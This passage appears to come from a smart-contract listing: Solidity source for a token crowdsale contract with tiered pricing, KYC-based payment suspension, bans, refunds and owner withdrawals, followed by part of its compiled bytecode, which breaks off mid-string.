}
// move sale position to current threshold
return exchangeCalculator(threshold, _paymentReminder, _processedTokenCount);
}
uint requestedPortions = _paymentReminder / currentExchangeRate.price;
uint portions = requestedPortions > availablePortions ? availablePortions : requestedPortions;
uint newProcessedTokenCount = _processedTokenCount + portions * currentExchangeRate.tokens;
uint newPaymentReminder = _paymentReminder - portions * currentExchangeRate.price;
uint newSalePosition = salePosition + newProcessedTokenCount;
if (newPaymentReminder < currentExchangeRate.price) {
return (newPaymentReminder, newProcessedTokenCount, false);
}
return exchangeCalculator(newSalePosition, newPaymentReminder, newProcessedTokenCount);
}
function processPayment(address participant, uint payment, bytes32 externalPaymentChecksum) internal {
require(payment >= minSale, "Payment must be greather or equal to sale minimum");
require(bannedParticipants[participant] == false, "Participant is banned");
uint paymentReminder;
uint processedTokenCount;
bool soldOut;
(paymentReminder, processedTokenCount, soldOut) = exchangeCalculator(tokensSold, payment, 0);
// how much was actually spent from this payment
uint spent = payment - paymentReminder;
bool directPayment = externalPaymentChecksum == "";
if (participants[participant].identified == false) {
// how much participant has spent in crowdsale so far
uint spendings = participants[participant].processedDirectWeiAmount
.add(participants[participant].processedExternalWeiAmount).add(spent);
bool hasSuspendedPayments = participants[participant].suspendedDirectWeiAmount > 0 || participants[participant].suspendedExternalWeiAmount > 0;
// due to fluctuations of unidentified payment limit, it might not be reached
// suspend current payment if participant currently has suspended payments or limit reached
if (hasSuspendedPayments || spendings > unidentifiedSaleLimit) {
require(revertSuspendedPayment == false, "Participant does not comply with KYC");
suspendedPayments = suspendedPayments + payment;
if (directPayment) {
participants[participant].suspendedDirectWeiAmount = participants[participant].suspendedDirectWeiAmount.add(payment);
} else {
participantSuspendedExternalPaymentChecksums[participant].push(externalPaymentChecksum);
participants[participant].suspendedExternalWeiAmount = participants[participant].suspendedExternalWeiAmount.add(payment);
suspendedExternalPayments[externalPaymentChecksum] = payment;
}
emit PaymentSuspended(participant);
return;
}
}
// unspent reminder must be returned back to participant
if (paymentReminder > 0) {
if (directPayment) {
participant.transfer(paymentReminder);
} else {
emit ExternalPaymentReminder(paymentReminder, externalPaymentChecksum);
}
}
if (directPayment) {
participants[participant].processedDirectWeiAmount = participants[participant].processedDirectWeiAmount.add(spent);
} else {
participants[participant].processedExternalWeiAmount = participants[participant].processedExternalWeiAmount.add(spent);
}
require(token.transfer(participant, processedTokenCount), "Failed to transfer tokens");
if (soldOut) {
state = CrowdsaleState.SoldOut;
}
tokensSold = tokensSold + processedTokenCount;
emit PaymentProcessed(spent, participant, externalPaymentChecksum, processedTokenCount);
}
/**
* Intended when other currencies are received and owner has to carry out exchange
* for those payments aligned to Wei
*/
function proxyExchange(address beneficiary, uint payment, string description, bytes32 checksum)
public grantOwnerOrAdmin
{
require(beneficiary != address(0), "Beneficiary not specified");
require(bytes(description).length > 0, "Description not specified");
require(checksum.length > 0, "Checksum not specified");
// make sure that payment has not been processed yet
require(bytes(externalPaymentDescriptions[checksum]).length == 0, "Payment already processed");
processPayment(beneficiary, payment, checksum);
externalPaymentDescriptions[checksum] = description;
participantExternalPaymentChecksums[beneficiary].push(checksum);
}
/**
* Command for owner to start crowdsale
*/
function startCrowdsale(address crowdsaleToken, address adminAddress) public grantOwner {
require(state == CrowdsaleState.Pending);
setAdmin(adminAddress);
token = CrowdsaleToken(crowdsaleToken);
require(token.balanceOf(address(this)) == 510000000e18);
state = CrowdsaleState.Started;
}
function pauseCrowdsale() public grantOwnerOrAdmin {
require(state == CrowdsaleState.Started);
state = CrowdsaleState.Paused;
}
function unPauseCrowdsale() public grantOwnerOrAdmin {
require(state == CrowdsaleState.Paused);
state = CrowdsaleState.Started;
}
/**
* Command for owner to end crowdsale
*/
function endCrowdsale(bool success) public grantOwner notEnded {
state = CrowdsaleState.Ended;
crowdsaleEndedSuccessfully = success;
uint balance = address(this).balance;
if (success && balance > 0) {
uint amount = balance.sub(suspendedPayments);
owner.transfer(amount);
}
}
function markParticipantIdentifiend(address participant) public grantOwnerOrAdmin notEnded {
participants[participant].identified = true;
if (participants[participant].suspendedDirectWeiAmount > 0) {
processPayment(participant, participants[participant].suspendedDirectWeiAmount, "");
suspendedPayments = suspendedPayments.sub(participants[participant].suspendedDirectWeiAmount);
participants[participant].suspendedDirectWeiAmount = 0;
}
if (participants[participant].suspendedExternalWeiAmount > 0) {
bytes32[] storage checksums = participantSuspendedExternalPaymentChecksums[participant];
for (uint i = 0; i < checksums.length; i++) {
processPayment(participant, suspendedExternalPayments[checksums[i]], checksums[i]);
suspendedExternalPayments[checksums[i]] = 0;
}
participants[participant].suspendedExternalWeiAmount = 0;
participantSuspendedExternalPaymentChecksums[participant] = new bytes32[](0);
}
}
function unidentifyParticipant(address participant) public grantOwnerOrAdmin notEnded {
participants[participant].identified = false;
}
function returnSuspendedPayments(address participant) public grantOwnerOrAdmin {
returnDirectPayments(participant, false, true);
returnExternalPayments(participant, false, true);
}
function updateUnidentifiedSaleLimit(uint limit) public grantOwnerOrAdmin notEnded {
unidentifiedSaleLimit = limit;
}
function updateMinSale(uint weiAmount) public grantOwnerOrAdmin {
minSale = weiAmount;
}
/**
* Allow crowdsale participant to get refunded
*/
function refundParticipant(address participant) internal {
require(state == CrowdsaleState.Ended);
require(crowdsaleEndedSuccessfully == false);
returnDirectPayments(participant, true, true);
returnExternalPayments(participant, true, true);
}
function refund(address participant) public grantOwner {
refundParticipant(participant);
}
function burnLeftoverTokens(uint8 percentage) public grantOwner {
require(state == CrowdsaleState.Ended);
require(percentage <= 100 && percentage > 0);
uint balance = token.balanceOf(address(this));
if (balance > 0) {
uint amount = balance / (100 / percentage);
token.burn(amount);
}
}
function updateExchangeRate(uint8 idx, uint tokens, uint price) public grantOwnerOrAdmin {
require(tokens > 0 && price > 0);
require(idx >= 0 && idx <= 3);
exchangeRates[idx] = ExchangeRate({
tokens: tokens,
price: price
});
}
function ban(address participant) public grantOwnerOrAdmin {
bannedParticipants[participant] = true;
}
function unBan(address participant) public grantOwnerOrAdmin {
bannedParticipants[participant] = false;
}
function getExchangeRate(uint threshold) internal view returns (ExchangeRate) {
uint8 idx = exchangeRateIdx(threshold);
ExchangeRate storage rate = exchangeRates[idx];
require(rate.tokens > 0 && rate.price > 0, "Exchange rate not set");
return rate;
}
function getTreshold(uint salePosition) internal pure returns (uint) {
if (salePosition < THRESHOLD1) {
return THRESHOLD1;
}
if (salePosition < THRESHOLD2) {
return THRESHOLD2;
}
if (salePosition < THRESHOLD3) {
return THRESHOLD3;
}
if (salePosition < THRESHOLD4) {
return THRESHOLD4;
}
assert(false);
}
function exchangeRateIdx(uint threshold) internal pure returns (uint8) {
if (threshold == THRESHOLD1) {
return 0;
}
if (threshold == THRESHOLD2) {
return 1;
}
if (threshold == THRESHOLD3) {
return 2;
}
if (threshold == THRESHOLD4) {
return 3;
}
assert(false);
}
function updateRevertSuspendedPayment(bool value) public grantOwnerOrAdmin {
revertSuspendedPayment = value;
}
/**
* Transfer Wei sent to the contract directly back to the participant
*
* @param participant Participant
* @param processed Whether or not processed payments should be included
* @param suspended Whether or not suspended payments should be included
*/
function returnDirectPayments(address participant, bool processed, bool suspended) internal {
if (processed && participants[participant].processedDirectWeiAmount > 0) {
participant.transfer(participants[participant].processedDirectWeiAmount);
participants[participant].processedDirectWeiAmount = 0;
}
if (suspended && participants[participant].suspendedDirectWeiAmount > 0) {
participant.transfer(participants[participant].suspendedDirectWeiAmount);
participants[participant].suspendedDirectWeiAmount = 0;
}
}
/**
* Signal that externally made payments should be returned back to the participant
*
* @param participant Participant
* @param processed Whether or not processed payments should be included
* @param suspended Whether or not suspended payments should be included
*/
function returnExternalPayments(address participant, bool processed, bool suspended) internal {
if (processed && participants[participant].processedExternalWeiAmount > 0) {
participants[participant].processedExternalWeiAmount = 0;
}
if (suspended && participants[participant].suspendedExternalWeiAmount > 0) {
participants[participant].suspendedExternalWeiAmount = 0;
}
}
function setAdmin(address adminAddress) public grantOwner {
admin = adminAddress;
require(isAdminSet());
}
function transwerFunds(uint amount) public grantOwner {
require(RELEASE_THRESHOLD <= tokensSold, "There are not enaugh tokens sold");
uint transferAmount = amount;
uint balance = address(this).balance;
if (balance < amount) {
transferAmount = balance;
}
owner.transfer(transferAmount);
}
function isAdminSet() internal view returns(bool) {
return admin != address(0);
}
function isAdmin() internal view returns(bool) {
return isAdminSet() && msg.sender == admin;
}
function isCrowdsaleSuccessful() public view returns(bool) {
return state == CrowdsaleState.Ended && crowdsaleEndedSuccessfully;
}
modifier notEnded {
require(state != CrowdsaleState.Ended, "Crowdsale ended");
_;
}
modifier grantOwnerOrAdmin() {
require(isOwner() || isAdmin());
_;
}
}
|
0x608060405260043610610204576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806309e69ede14610333578063123807b2146103aa578063158d1fd4146103ed5780631b06128b1461041c5780631d0a3cb81461044c5780631d89dbc9146104775780631fe86eb9146104bb57806321f8dab614610500578063286dd83c1461052b57806341910104146105425780634a184f51146105855780634b338582146105e85780634be9b99214610692578063518ab2a8146106bd578063593524ed146106e85780635db4696114610730578063704b6c02146107d157806378583275146108145780637b3f0fb7146108415780637eccd5a1146108705780638da5cb5b146108d95780638f32d59b1461093057806397c3ccd81461095f57806399fd9489146109a25780639e965f7e146109d1578063a087730414610a00578063a8351c0314610a2b578063bf81505914610a42578063c19d93fb14610a6f578063c3126bd914610aa8578063c55c4f4714610b11578063c896164414610b40578063d4b73e5314610b83578063de66b5f714610bde578063e9f9d8e214610c09578063ef233f5c14610c4c578063f12d15c314610c77578063f851a44014610ca4578063f8aa836b14610cfb578063f996c69714610d26578063fa89401a14610d51578063fc0c546a14610d94575b6002600481111561021157fe5b600560149054906101000a900460ff16600481111561022c57fe5b1415610287573373ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f19350505050158015610278573d6000803e3d6000fd5b5061028233610deb565b610331565b6001600481111561029457fe5b600560149054906101000a900460ff1660048111156102af57fe5b141515610324576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f43726f776473616c652063757272656e746c7920696e6163746976650000000081525060200191505060405180910390fd5b61033033346000610e5c565b5b005b34801561033f57600080fd5b50610374600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506118bc565b60405180861515151581526020018581526020018481526020018381526020018281526020019550505050505060405180910390f35b3480156103b657600080fd5b506103eb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506118ff565b005b3480156103f957600080fd5b50610402611d67565b604051808215151515815260200191505060405180910390f35b34801561042857600080fd5b5061044a600480360381019080803560ff169060200190929190505050611d7a565b005b34801561045857600080fd5b50610461611fb8565b6040518082815260200191505060405180910390f35b34801561048357600080fd5b506104b9600480360381019080803560ff1690602001909291908035906020019092919080359060200190929190505050611fbe565b005b3480156104c757600080fd5b506104ea6004803603810190808035600019169060200190929190505050612065565b6040518082815260200191505060405180910390f35b34801561050c57600080fd5b5061051561207d565b6040518082815260200191505060405180910390f35b34801561053757600080fd5b5061054061208d565b005b34801561054e57600080fd5b50610583600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612109565b005b34801561059157600080fd5b506105e6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612148565b005b3480156105f457600080fd5b506106176004803603810190808035600019169060200190929190505050612312565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561065757808201518184015260208101905061063c565b50505050905090810190601f1680156106845780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561069e57600080fd5b506106a76123c2565b6040518082815260200191505060405180910390f35b3480156106c957600080fd5b506106d26123d2565b6040518082815260200191505060405180910390f35b3480156106f457600080fd5b50610713600480360381019080803590602001909291905050506123d8565b604051808381526020018281526020019250505060405180910390f35b34801561073c57600080fd5b506107cf600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192908035600019169060200190929190505050612401565b005b3480156107dd57600080fd5b50610812600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612714565b005b34801561082057600080fd5b5061083f6004803603810190808035906020019092919050505061277e565b005b34801561084d57600080fd5b5061086e6004803603810190808035151590602001909291905050506127aa565b005b34801561087c57600080fd5b506108bb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506127e9565b60405180826000191660001916815260200191505060405180910390f35b3480156108e557600080fd5b506108ee612819565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561093c57600080fd5b5061094561283e565b604051808215151515815260200191505060405180910390f35b34801561096b57600080fd5b506109a0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612895565b005b3480156109ae57600080fd5b506109cf600480360381019080803515159060200190929190505050612912565b005b3480156109dd57600080fd5b506109e6612ab5565b604051808215151515815260200191505060405180910390f35b348015610a0c57600080fd5b50610a15612ac8565b6040518082815260200191505060405180910390f35b348015610a3757600080fd5b50610a40612ace565b005b348015610a4e57600080fd5b50610a6d60048036038101908080359060200190929190505050612b4a565b005b348015610a7b57600080fd5b50610a84612c14565b60405180826004811115610a9457fe5b60ff16815260200191505060405180910390f35b348015610ab457600080fd5b50610af3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612c27565b60405180826000191660001916815260200191505060405180910390f35b348015610b1d57600080fd5b50610b26612c57565b604051808215151515815260200191505060405180910390f35b348015610b4c57600080fd5b50610b81600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612c9f565b005b348015610b8f57600080fd5b50610bc4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612d1c565b604051808215151515815260200191505060405180910390f35b348015610bea57600080fd5b50610bf3612d3c565b6040518082815260200191505060405180910390f35b348015610c1557600080fd5b50610c4a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612d42565b005b348015610c5857600080fd5b50610c61612e60565b6040518082815260200191505060405180910390f35b348015610c8357600080fd5b50610ca260048036038101908080359060200190929190505050612e6f565b005b348015610cb057600080fd5b50610cb9612fa0565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610d0757600080fd5b50610d10612fc6565b6040518082815260200191505060405180910390f35b348015610d3257600080fd5b50610d3b612fd6565b6040518082815260200191505060405180910390f35b348015610d5d57600080fd5b50610d92600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612fe5565b005b348015610da057600080fd5b50610da9613004565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b60026004811115610df857fe5b600560149054906101000a900460ff166004811115610e1357fe5b141515610e1f57600080fd5b60001515600e60009054906101000a900460ff161515141515610e4157600080fd5b610e4d8160018061302a565b610e598160018061327b565b50565b60008060008060008060006003548910151515610f07576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260318152602001807f5061796d656e74206d757374206265206772656174686572206f72206571756181526020017f6c20746f2073616c65206d696e696d756d00000000000000000000000000000081525060400191505060405180910390fd5b60001515601560008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141515610fcf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f5061727469636970616e742069732062616e6e6564000000000000000000000081525060200191505060405180910390fd5b610fdd6002548a60006133ba565b80975081985082995050505086890393506000886000191614925060001515601060008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff161515141561149c576110fd846110ef601060008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154601060008f73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101546134b990919063ffffffff16565b6134b990919063ffffffff16565b91506000601060008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154118061119257506000601060008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040154115b905080806111a15750600f5482115b1561149b5760001515601660009054906101000a900460ff161515141515611257576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001807f5061727469636970616e7420646f6573206e6f7420636f6d706c79207769746881526020017f204b59430000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b88600454016004819055508215611308576112bd89601060008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301546134b990919063ffffffff16565b601060008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030181905550611433565b601360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208890806001815401808255809150509060018203906000526020600020016000909192909190915090600019169055506113cc89601060008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600401546134b990919063ffffffff16565b601060008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206004018190555088601460008a60001916600019168152602001908152602001600020819055505b7f9846ce69853a6a2bcdc4aa82a637906e90f7f42d86ed4537c3bdd53d274341208a604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a16118b0565b5b60008711156115405782156114f7578973ffffffffffffffffffffffffffffffffffffffff166108fc889081150290604051600060405180830381858888f193505050501580156114f1573d6000803e3d6000fd5b5061153f565b7fd202f0b84e65c71a8a11435616fd34ee754f814c395ab34a3d93e40cfbefb96287896040518083815260200182600019166000191681526020019250505060405180910390a15b5b82156115e65761159b84601060008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101546134b990919063ffffffff16565b601060008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010181905550611682565b61163b84601060008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546134b990919063ffffffff16565b601060008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201819055505b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb8b886040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561174757600080fd5b505af115801561175b573d6000803e3d6000fd5b505050506040513d602081101561177157600080fd5b810190808051906020019092919050505015156117f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f4661696c656420746f207472616e7366657220746f6b656e730000000000000081525060200191505060405180910390fd5b8415611821576004600560146101000a81548160ff0219169083600481111561181b57fe5b02179055505b85600254016002819055507f3764284ae66edcf7a5cf6ecfa93fa55ad1acc2a1d126681e38627b468bcff60d848b8a89604051808581526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001836000191660001916815260200182815260200194505050505060405180910390a15b50505050505050505050565b60106020528060005260406000206000915090508060000160009054906101000a900460ff16908060010154908060020154908060030154908060040154905085565b60008061190a61283e565b806119195750611918613501565b5b151561192457600080fd5b6002600481111561193157fe5b600560149054906101000a900460ff16600481111561194c57fe5b141515156119c2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f43726f776473616c6520656e646564000000000000000000000000000000000081525060200191505060405180910390fd5b6001601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160006101000a81548160ff0219169083151502179055506000601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301541115611b5c57611ab683601060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301546000610e5c565b611b0d601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003015460045461356990919063ffffffff16565b6004819055506000601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301819055505b6000601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600401541115611d6257601360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209150600090505b8180549050811015611c9557611c4f83601460008585815481101515611c0f57fe5b906000526020600020015460001916600019168152602001908152602001600020548484815481101515611c3f57fe5b9060005260206000200154610e5c565b6000601460008484815481101515611c6357fe5b906000526020600020015460001916600019168152602001908152602001600020819055508080600101915050611bed565b6000601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600401819055506000604051908082528060200260200182016040528015611d0d5781602001602082028038833980820191505090505b50601360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209080519060200190611d609291906137f6565b505b505050565b600e60009054906101000a900460ff1681565b600080611d8561283e565b1515611d9057600080fd5b60026004811115611d9d57fe5b600560149054906101000a900460ff166004811115611db857fe5b141515611dc457600080fd5b60648360ff1611158015611ddb575060008360ff16115b1515611de657600080fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b158015611ea357600080fd5b505af1158015611eb7573d6000803e3d6000fd5b505050506040513d6020811015611ecd57600080fd5b810190808051906020019092919050505091506000821115611fb3578260ff166064811515611ef857fe5b0460ff1682811515611f0657fe5b049050600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166342966c68826040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b158015611f9a57600080fd5b505af1158015611fae573d6000803e3d6000fd5b505050505b505050565b60045481565b611fc661283e565b80611fd55750611fd4613501565b5b1515611fe057600080fd5b600082118015611ff05750600081115b1515611ffb57600080fd5b60008360ff1610158015612013575060038360ff1611155b151561201e57600080fd5b60408051908101604052808381526020018281525060068460ff1660048110151561204557fe5b600202016000820151816000015560208201518160010155905050505050565b60146020528060005260406000206000915090505481565b6b01a5dcb365fc4166be00000081565b61209561283e565b806120a457506120a3613501565b5b15156120af57600080fd5b600360048111156120bc57fe5b600560149054906101000a900460ff1660048111156120d757fe5b1415156120e357600080fd5b6001600560146101000a81548160ff0219169083600481111561210257fe5b0217905550565b61211161283e565b80612120575061211f613501565b5b151561212b57600080fd5b612138816000600161302a565b612145816000600161327b565b50565b61215061283e565b151561215b57600080fd5b6000600481111561216857fe5b600560149054906101000a900460ff16600481111561218357fe5b14151561218f57600080fd5b61219881612714565b81600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506b01a5dcb365fc4166be000000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1580156122a357600080fd5b505af11580156122b7573d6000803e3d6000fd5b505050506040513d60208110156122cd57600080fd5b81019080805190602001909291905050501415156122ea57600080fd5b6001600560146101000a81548160ff0219169083600481111561230957fe5b02179055505050565b60116020528060005260406000206000915090508054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156123ba5780601f1061238f576101008083540402835291602001916123ba565b820191906000526020600020905b81548152906001019060200180831161239d57829003601f168201915b505050505081565b6b0195518939d43ed62a00000081565b60025481565b6006816004811015156123e757fe5b600202016000915090508060000154908060010154905082565b61240961283e565b806124185750612417613501565b5b151561242357600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141515156124c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f42656e6566696369617279206e6f74207370656369666965640000000000000081525060200191505060405180910390fd5b60008251111515612541576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f4465736372697074696f6e206e6f74207370656369666965640000000000000081525060200191505060405180910390fd5b6000602060ff161115156125bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f436865636b73756d206e6f74207370656369666965640000000000000000000081525060200191505060405180910390fd5b6000601160008360001916600019168152602001908152602001600020805460018160011615610100020316600290049050141515612664576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f5061796d656e7420616c72656164792070726f6365737365640000000000000081525060200191505060405180910390fd5b61266f848483610e5c565b81601160008360001916600019168152602001908152602001600020908051906020019061269e929190613849565b50601260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081908060018154018082558091505090600182039060005260206000200160009091929091909150906000191690555050505050565b61271c61283e565b151561272757600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550612770613585565b151561277b57600080fd5b50565b61278661283e565b806127955750612794613501565b5b15156127a057600080fd5b8060038190555050565b6127b261283e565b806127c157506127c0613501565b5b15156127cc57600080fd5b80601660006101000a81548160ff02191690831515021790555050565b60136020528160005260406000208181548110151561280457fe5b90600052602060002001600091509150505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614905090565b61289d61283e565b806128ac57506128ab613501565b5b15156128b757600080fd5b6001601560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60008061291d61283e565b151561292857600080fd5b6002600481111561293557fe5b600560149054906101000a900460ff16600481111561295057fe5b141515156129c6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f43726f776473616c6520656e646564000000000000000000000000000000000081525060200191505060405180910390fd5b6002600560146101000a81548160ff021916908360048111156129e557fe5b021790555082600e60006101000a81548160ff0219169083151502179055503073ffffffffffffffffffffffffffffffffffffffff16319150828015612a2b5750600082115b15612ab057612a456004548361356990919063ffffffff16565b90506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612aae573d6000803e3d6000fd5b505b505050565b601660009054906101000a900460ff1681565b60035481565b612ad661283e565b80612ae55750612ae4613501565b5b1515612af057600080fd5b60016004811115612afd57fe5b600560149054906101000a900460ff166004811115612b1857fe5b141515612b2457600080fd5b6003600560146101000a81548160ff02191690836004811115612b4357fe5b0217905550565b612b5261283e565b80612b615750612b60613501565b5b1515612b6c57600080fd5b60026004811115612b7957fe5b600560149054906101000a900460ff166004811115612b9457fe5b14151515612c0a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f43726f776473616c6520656e646564000000000000000000000000000000000081525060200191505060405180910390fd5b80600f8190555050565b600560149054906101000a900460ff1681565b601260205281600052604060002081815481101515612c4257fe5b90600052602060002001600091509150505481565b600060026004811115612c6657fe5b600560149054906101000a900460ff166004811115612c8157fe5b148015612c9a5750600e60009054906101000a900460ff165b905090565b612ca761283e565b80612cb65750612cb5613501565b5b1515612cc157600080fd5b6000601560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60156020528060005260406000206000915054906101000a900460ff1681565b600f5481565b612d4a61283e565b80612d595750612d58613501565b5b1515612d6457600080fd5b60026004811115612d7157fe5b600560149054906101000a900460ff166004811115612d8c57fe5b14151515612e02576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f43726f776473616c6520656e646564000000000000000000000000000000000081525060200191505060405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160006101000a81548160ff02191690831515021790555050565b6a16559409b473f2ea50000081565b600080612e7a61283e565b1515612e8557600080fd5b6002546a16559409b473f2ea50000011151515612f0a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f546865726520617265206e6f7420656e6175676820746f6b656e7320736f6c6481525060200191505060405180910390fd5b8291503073ffffffffffffffffffffffffffffffffffffffff1631905082811015612f33578091505b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050158015612f9a573d6000803e3d6000fd5